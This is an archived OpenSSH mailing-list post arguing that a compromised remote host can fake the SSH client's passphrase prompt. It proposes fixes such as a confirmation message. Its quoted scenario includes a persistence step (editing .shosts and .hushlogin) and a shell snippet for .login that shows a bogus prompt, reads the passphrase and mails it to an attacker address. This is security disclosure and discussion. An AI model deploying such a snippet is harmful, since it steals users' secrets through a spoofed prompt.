Trick user to send private key password to compromised host

[Kevin Buhr]

Hi, Roman,

I commented on this issue quite some time ago.  See:

        http://marc.info/?t=95066120400001&r=1&w=2

It didn't generate much interest at the time, but I probably explained
it poorly.  I agree with you that it is not a show-stopper, but I
still think it represents a significant security problem.

I actually had a more involved conversation off-list with Dave
Dykstra, but it never found its way back onto the list.  At the risk
of boring everyone, I've attached an infodump of my half of the
private conversation I had with Dave, clarifying some possible
problematic scenarios.

To be absolutely clear, the threat model here is that the user is on
an uncompromised host connecting to a compromised host (obviously
without realizing that fact).  The question is how the compromised
host might go about stealing the user's passphrase.

It's incomprehensible to me that someone would use a non-empty
passphrase and then argue that the passphrase need not be safeguarded.
(If you don't think passphrases are worth securing, then stop using
them: they are merely a nuisance, otherwise.)

Anyway, I'll add my voice to Roman and Jefferson's that at least three
OpenSSH users think it's important to defend our passphrases against
this threat model.

The difficulty is how to incorporate a simple (though not foolproof)
fix, like:

     buhr at virgo:~$ ssh taurus
     Enter passphrase for key '/u/buhr/.ssh/id_rsa': <mistype passphrase>
     Enter passphrase for key '/u/buhr/.ssh/id_rsa': <right this time>
     OpenSSH connection secured.  <-- new message

     Welcome to taurus!

     buhr at taurus:~$

when there are applications that might rely on the SSH client not
printing anything locally when authenticating with a passphrase-less
key.

Anyway, my infodump from 8 years ago follows in the hopes that it
might be helpful.  I just noticed David Desrosiers' post: so,
obviously, this sort of attack isn't just theoretical.

                        *       *       *

[ from my first Feb 16, 2000 off-list reply to Dave ]

My concern is that the user can be *tricked* into giving the
passphrase to the remote machine by a simple spoof attack.  When the
first line of text the user sees is:

        Enter passphrase for RSA key 'user at untrusted.host':

he or she will naturally enter a passphrase.  How can the user
distinguish between (1) the SSH client on their local, trusted machine
prompting them for a passphrase during the normal course of
authentication; (2) the remote, presumably compromised, machine
sending a bogus passphrase prompt after authenticating the user's
client silently (in some manner than requires no passphrase or
password, say through RSA host-based authentication)?

As you point out, the SSH protocol has all the mechanisms in place to
allow a user to connect from a trusted local machine to an untrusted
remote machine via RSA authentication such that the untrusted machine
need only know public information: the other host's public key and the
user's public key.

However, the current user interface does not make it clear when a user
has passed from the trusted security domain of the local machine to
the untrusted security domain of the remote machine.  When a string of
text---a passphrase prompt, an "Incorrect passphrase" message, or
even:

        Secure connection to xxxx refused; reverting to insecure method.
        Using rsh.  WARNING: Connection will not be encrypted.
        untrusted.host: Connection refused
        trustedhostprompt$ 

---appears on a user's screen, there's no obvious way to tell what
host it really comes from.

Some cautionary text in the SSH documentation and a special
"--untrusted-host" command line option (to switch to a possibly
inconvenient, but unspoofable, user-interface protocol) might be the
least intrusive way to address my concern.

                        *       *       *

[ from a second off-list Feb 16, 2000 reply to Dave ]

I am not talking about a man-in-the-middle attack with a phony remote
machine.  I am talking about a user on a trusted host trying to
connect to an untrusted and possibly compromised host.  The untrusted
host *is* the host it claims to be.  However, it's been compromised
(or at least the user doesn't trust it), and the user does not want to
give it any secret information.

Let me give you a complete scenario:

Suppose I have compromised the user account "victim" on the host
"flakey".  That is, I am able to log in, as user "victim", on this
host whenever I wish.  Through careful observation, I determine that
the real "victim" logs in to "flakey" from hosts "huey", "luey", and
"dewey" using an RSA key named "victim at duckhosts", and I assume that
"victim" is prompted for a passphrase when he does this.  Now, I add
the lines:

        huey
        luey
        dewey

to "victim"'s ".shosts" file on "flakey".  The next time he tries to
establish an SSH connection to "flakey" from one of these three hosts,
he will *not* be prompted for a passphrase.  Normally, the first thing
he'd see would be the login banner, and he'd probably get suspicious.
However, let's say---on "flakey"---I create a ".hushlogin" file in
"victim"'s home directory, and I add the following to the end of
his ".login" file:

        echo -n "Enter passphrase for RSA key 'victim at duckhosts': "
        stty -echo
        read passphrase
        echo "$passphrase" | mail -s 'my passphrase' attacker at another.account >& /dev/null
        echo
        cat /etc/motd
        stty echo

Now "victim" is sitting on his trusted machine "huey".  He suspects
that "flakey" has been compromised, so he decides to log in via SSH.
What does he see?

        huey% ssh flakey
        Enter passphrase for RSA key 'victim at duckhosts': 
        Welcome to "flakey".  It's been 24 days since the last
        compromise!
        
        flakey% 

There's no message about a man-in-the-middle attack because "flakey"
hasn't been replaced, it's merely been compromised.  "flakey"'s
legitimate private key (matching the public key stored in
".ssh/known_hosts" on "huey") is still stored on "flakey" in
"/etc/ssh_host_key", and---ironically---I still don't know it, because
I've only cracked a user account, not the root account.

The user's SSH client never prompts him for a passphrase because
"huey" appears in the ".shosts" file and "huey"'s public key is in
".ssh/known_hosts".  Based on RSA host authentication, the user is
legitimately permitted to connect to "flakey" without providing a
password or a passphrase, so his client lets him.  However, the user
doesn't know this---he expects to be prompted for a passphrase,
"flakey" obliges with a bogus prompt, and I pick up "victim"'s secret
passphrase from my mailbox at my convenience.

"victim" feels assured that he has safely authenticated to "flakey"
(even though he doesn't trust "flakey") via RSA authentication without
giving "flakey" any secret information.  When he types in his
passphrase, he believes he is giving secret information to his trusted
SSH client which will *only* provide non-secret information to
"flakey".  He's wrong; he's given his secret passphrase to "flakey"
(and to me) without knowing it.

Is this the end of the world?  No.  I only have his passphrase, and
hopefully it doesn't unlock any private key to which I have access.
Yet, I've still managed to collect supposedly secret information from
my "victim".

When would a "victim" ever realistically want to connect from a
trusted host to an untrusted host?  I can think of two real-world
examples: a system administrator trying to safely connect to a machine
suspected of being compromised; or a free-software developer logging
in to a common development machine he has no authority or control
over.  With the above-mentioned attack, the user can be tricked into
giving his or her passphrase to an attacker who has compromised the
remote host.

-- 
Kevin Buhr <buhr+openssh at asaurus.net>